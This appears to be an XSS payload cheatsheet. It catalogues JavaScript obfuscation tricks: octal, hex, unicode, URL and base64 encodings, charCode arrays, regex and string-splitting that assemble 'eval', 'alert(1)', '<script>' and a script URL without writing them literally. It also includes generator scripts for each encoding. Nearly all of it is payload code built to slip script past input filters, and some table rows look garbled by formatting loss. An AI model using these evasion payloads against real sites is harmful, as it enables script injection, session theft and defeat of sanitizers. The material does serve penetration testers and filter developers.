XSS Payloads Cheatsheets

Strings Hacks

Encoding

Expression	**Output**	**Generator**
490837..toString(32)	eval	parseInt('eval',32)
<integer>..toString(radix)	*<string>*	*parseInt('<string>',radix)*
"\145\166\141\154";	eval	See below : Octal Encoding
"\x65\x76\x61\x6c";		See below : Hexadecimal Encoding
"\u0065\u0076\u0061\u006c";		See below : Unicode Encoding
unescape ("%61%6c%65%72%74")	alert	See below : URL Encoding
unescape(<url_encoded_string>)	*<string>*	
atob('amF2YXNjcmlwdDphbGVydCgxKQ');	javascript:alert(1)	btoa('javascript:alert(1)')
atob('<base64_string>')	*<string>*	*btoa('<string>')*
btoa('\x6a\x57\xab')+'t'	alert	See below : Base64 hex decode
btoa('<base64_hex>')	*<4_chars_blocks_string>*	
String.fromCharCode(97,108,101,114,116)	alert	See below : Base 10 ASCII encoding
String.fromCharCode(<base_10_ascii_string>)	*<string>*	

Octal encoding

```
var stringo='', stringa=<string>;
for(var i=0; i < stringa.length; i++) { stringo+='\\'+(stringa)[i].charCodeAt().toString(8); }
```

Hexadecimal encoding

```
var stringh='', stringa=<string>;
for(var i=0; i < stringa.length; i++) { stringh+='\\x'+(stringa)[i].charCodeAt().toString(16); }
```

Unicode encoding

```
var stringu='', stringa=<string>;
for(var i=0; i < stringa.length; i++) { stringu+='\\u00'+(stringa)[i].charCodeAt().toString(16); }
```

URL encoding

```
var stringu='', stringa=<string>;
for(var i=0; i < stringa.length; i++) { stringu+='%'+(stringa)[i].charCodeAt().toString(16); }
```

Base 10 ASCII encoding

```
var stringa = 'alert', stringc = "";
for(var i=0; i<stringa.length; i++) { stringc = stringc + ',' + (stringa)[i].charCodeAt(); }
stringc.slice(1);
```

Base64 Hex Decoding

```
var stringa = <string> ;
var base64bin = [], base64hex = [], base64prep = [];

var index = 0;

while(stringa.length>=4) {

   var stringb = stringa.slice(0,4);
   stringa = stringa.slice(4);

   for(var i=0; i<4; i++) {

      var chartoencode = (stringb)[i];

      if (chartoencode.match(/[A-Z]/)) { base64bin[i] = (chartoencode.charCodeAt()-65).toString(2);}
      else if (chartoencode.match(/[a-z]/)) { base64bin[i] = (chartoencode.charCodeAt()-97+26).toString(2);}
      else if(chartoencode == '+') { base64bin[i] = '111110';}
      else if(chartoencode == '/') { base64bin[i] = '111111';}

      for(var j=0; j<6-base64bin[i].length; j++) { base64bin[i]='0'+base64bin[i]; }

   }

   base64prep = [ base64bin[0]+base64bin[1].slice(0,2),
                  base64bin[1].slice(2)+base64bin[2].slice(0,4),
                  base64bin[2].slice(4)+base64bin[3] ] ;

   for(var i=0; i < 3; i++) { base64hex[i+(index*3)] = parseInt(base64prep[i],2).toString(16); }
   index++;
}

var output = "btoa('";
for(var i=0; i<base64hex.length; i++) { output = output+'\\x'+base64hex[i]; }
output = output+"')" +'"'+stringa+"'";
```

Arrays

Expression	Output
['I am a string'].toString();	I am a string
['I am a string'].join();	
['a','l','e','r','t','(',1,')'].toString().replace(/,/g,"");	alert(1)
['a','l','e','r','t','(',1,')'].join('');	
Array('I am a string').toString();	I am a string

Regular Expressions

Expression	Output
/I am a string/.source	I am a string
(/x/+[])[1]	x
(/eval/+[]).slice(1,5)	eval
String(/alert/).substr(1,5)	alert
String(/Tealertst/).substr(3,5)	
((x=/(<scr).*(ipt>)/).test(x));(RegExp.$1+RegExp.$2);	<script>
'bbbalert(1)cccc'.match(/\w{5}\(\d\)/).toString();	alert(1)
'xexvxaxlx'.match(/[^x]/g).join('');	eval

Splitting & substitution

<table>
<tr><th>Expression</th><th>Output</th></tr>
<tr><td>eval('\\u'+'0061'+'lert(1)')</td><td>eval(alert(1))</td></tr>
<tr><td colspan="2">eval(||u0061lert(1))
eval(alert(1))</td></tr>
<tr><td>String(/http:/+/server/+(/x/+[])[1]+(/s/+[])[1]+(/s/+[])[1]).slice(1)</td><td>http://server/xss</td></tr>
<tr><td colspan="2">String(/http:/+/server/+(/x/+[])[1]+(/s/+[])[1]+(/s/+[])[1]).slice(1)
String(/http:/+/server/+"x"+"s"+"s").slice(1)
"/http://server/xss".slice(1)</td></tr>
<tr><td>(b='\\',s='\'',o='0',eval(s+b+141+b+154+b+145+b+162+b+164+b+o+50+b+o+61+b+o+51+s));</td><td>alert(1)</td></tr>
<tr><td colspan="2">eval(s+b+141+b+154+b+145+b+162+b+164+b+o+50+b+o+61+b+o+51+s)
eval('|141|154|145|162|164|050|061|051')
eval('alert(1)')</td></tr>
<tr><td>for(foo in {bar:0}); alert(foo);</td><td>alert(bar)</td></tr>
<tr><td>foo='' ; alert(typeof foo) ;</td><td>alert(string)</td></tr>
</table>